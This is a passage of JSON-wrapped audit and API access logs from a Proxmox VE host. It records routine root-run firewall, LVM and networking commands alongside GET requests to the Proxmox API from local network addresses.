{"@timestamp":1781965417925,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965417.925:65529): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955030 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62945 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964105141,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964105.141:59598): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13c180 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57235 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966115162,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966115.162:68494): arch=c000003e syscall=59 success=yes exit=0 a0=7ffccdb2aad0 a1=5b50e8197310 a2=5b50e8190680 a3=5 items=2 ppid=65775 pid=65776 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965369779,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:22:48 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1113"} {"@timestamp":1781964499599,"@rawstring":"node=pve type=EXECVE msg=audit(1781964499.599:61283): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966114979,"@rawstring":"node=pve type=EXECVE msg=audit(1781966114.979:68486): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964740473,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964740.473:62385): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59831 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965417925,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965417.925:65528): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955030 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62945 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964105133,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964105.133:59597): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0eb320 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57234 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966115158,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966115.158:68492): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=65775 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965368668,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:22:47 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 934"} {"@timestamp":1781964495931,"@rawstring":"node=pve type=EXECVE msg=audit(1781964495.931:61280): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966114948,"@rawstring":"node=pve type=EXECVE msg=audit(1781966114.948:68485): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964740473,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964740.473:62384): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59831 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965415479,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965415.479:65524): arch=c000003e syscall=59 success=no exit=-2 a0=7ffec8bc8550 a1=64eb9ccca310 a2=64eb9ccc3680 a3=5 items=1 ppid=62938 pid=62939 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964104998,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964104.998:59596): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d1d64b70 a1=64f8d73e1610 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=57233 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966115151,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966115.151:68491): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65774 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965368668,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:22:47 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964495927,"@rawstring":"node=pve type=EXECVE msg=audit(1781964495.927:61279): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966110433,"@rawstring":"node=pve type=EXECVE msg=audit(1781966110.433:68484): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964736065,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964736.065:62380): arch=c000003e syscall=59 success=no exit=-2 a0=7ffcc208be30 a1=58db562c4310 a2=58db562bd680 a3=5 items=1 ppid=59824 pid=59825 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965415389,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965415.389:65506): arch=c000003e syscall=59 success=no exit=-2 a0=7ffdd0a28ad0 a1=5e8c5a9e7410 a2=5e8c5a9c5680 a3=5 items=1 ppid=62919 pid=62920 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964104967,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964104.967:59595): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d6d81d70 a1=64f8d7410840 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=57232 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966115144,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966115.144:68490): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65773 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965368668,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:22:47 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 508"} {"@timestamp":1781964495926,"@rawstring":"node=pve type=EXECVE msg=audit(1781964495.926:61278): argc=1 a0=\"date\""} {"@timestamp":1781966110422,"@rawstring":"node=pve type=EXECVE msg=audit(1781966110.422:68481): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964735987,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964735.987:62362): arch=c000003e syscall=59 success=no exit=-2 a0=7ffce4e49cc0 a1=621b5b44e310 a2=621b5b447680 a3=5 items=1 ppid=59805 pid=59806 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965412918,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965412.918:65496): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954f70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62909 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964102931,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964102.931:59594): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57229 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966115138,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966115.138:68489): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0bf070 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65772 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965368668,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:22:47 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 507"} {"@timestamp":1781964495923,"@rawstring":"node=pve type=EXECVE msg=audit(1781964495.923:61276): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966106110,"@rawstring":"node=pve type=EXECVE msg=audit(1781966106.110:68478): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964735461,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964735.461:62354): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59799 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965412918,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965412.918:65495): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954f70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62909 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964102921,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964102.921:59591): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57228 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966115130,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966115.130:68488): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc147080 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65771 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965366675,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:22:45 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1113"} {"@timestamp":1781964495917,"@rawstring":"node=pve type=EXECVE msg=audit(1781964495.917:61275): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966106107,"@rawstring":"node=pve type=EXECVE msg=audit(1781966106.107:68477): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964735461,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964735.461:62353): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59799 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965412906,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965412.906:65493): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954eb0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62908 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964099486,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964099.486:59588): arch=c000003e syscall=59 success=yes exit=0 a0=637ee7253c40 a1=637ee7253fc0 a2=637ee7240ef0 a3=8 items=2 ppid=57224 pid=57226 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"awk\" exe=\"/usr/bin/mawk\" subj=unconfined key=\"exec\""} {"@timestamp":1781966115121,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966115.121:68487): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ee390 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65770 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965366675,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:22:45 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 896"} {"@timestamp":1781964495911,"@rawstring":"node=pve type=EXECVE msg=audit(1781964495.911:61274): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966106106,"@rawstring":"node=pve type=EXECVE msg=audit(1781966106.106:68476): argc=1 a0=\"date\""} {"@timestamp":1781964735452,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964735.452:62351): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59798 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965412906,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965412.906:65492): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954eb0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62908 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964099486,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964099.486:59587): arch=c000003e syscall=59 success=yes exit=0 a0=637ee72542a0 a1=637ee7252690 a2=637ee7240ef0 a3=8 items=2 ppid=57224 pid=57225 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ps\" exe=\"/usr/bin/ps\" subj=unconfined key=\"exec\""} {"@timestamp":1781966114979,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966114.979:68486): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73ba980 a1=64f8d5f90c60 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=65767 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965366675,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:22:45 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1118"} {"@timestamp":1781964495904,"@rawstring":"node=pve type=EXECVE msg=audit(1781964495.904:61273): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966106102,"@rawstring":"node=pve type=EXECVE msg=audit(1781966106.102:68474): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964735452,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964735.452:62350): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59798 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965407898,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965407.898:65489): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954df0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62906 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964099484,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964099.484:59586): arch=c000003e syscall=59 success=yes exit=0 a0=637ee7242cb0 a1=637ee72535f0 a2=637ee72571e0 a3=8 items=2 ppid=846 pid=57223 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"awk\" exe=\"/usr/bin/mawk\" subj=unconfined key=\"exec\""} {"@timestamp":1781966114948,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966114.948:68485): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73c5130 a1=64f8d7414770 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=65766 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965364739,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:22:44 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 511"} {"@timestamp":1781964495897,"@rawstring":"node=pve type=EXECVE msg=audit(1781964495.897:61272): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966106095,"@rawstring":"node=pve type=EXECVE msg=audit(1781966106.095:68473): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964730446,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964730.446:62346): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59793 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965407898,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965407.898:65488): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954df0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62906 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964097915,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964097.915:59585): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57222 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966110433,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966110.433:68484): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=65765 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965364739,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:22:43 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 923"} {"@timestamp":1781964495892,"@rawstring":"node=pve type=EXECVE msg=audit(1781964495.892:61270): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781966106088,"@rawstring":"node=pve type=EXECVE msg=audit(1781966106.088:68472): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964730446,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964730.446:62345): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59793 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965407893,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965407.893:65486): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954d30 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62905 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964097906,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964097.906:59582): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57221 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966110422,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966110.422:68481): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=65764 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965364739,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:22:43 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964495888,"@rawstring":"node=pve type=EXECVE msg=audit(1781964495.888:61269): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966106081,"@rawstring":"node=pve type=EXECVE msg=audit(1781966106.081:68471): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964730439,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964730.439:62343): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59792 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965407893,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965407.893:65485): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954d30 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62905 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964096123,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964096.123:59579): arch=c000003e syscall=59 success=yes exit=0 a0=5e77de733ed0 a1=5e77de730c50 a2=5e77de712680 a3=5 items=2 ppid=57214 pid=57220 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966106110,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966106.110:68478): arch=c000003e syscall=59 success=yes exit=0 a0=5f10523e4b20 a1=5f10523f0e00 a2=5f10523be680 a3=5 items=2 ppid=65757 pid=65763 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965364739,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:22:43 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 512"} {"@timestamp":1781964495882,"@rawstring":"node=pve type=EXECVE 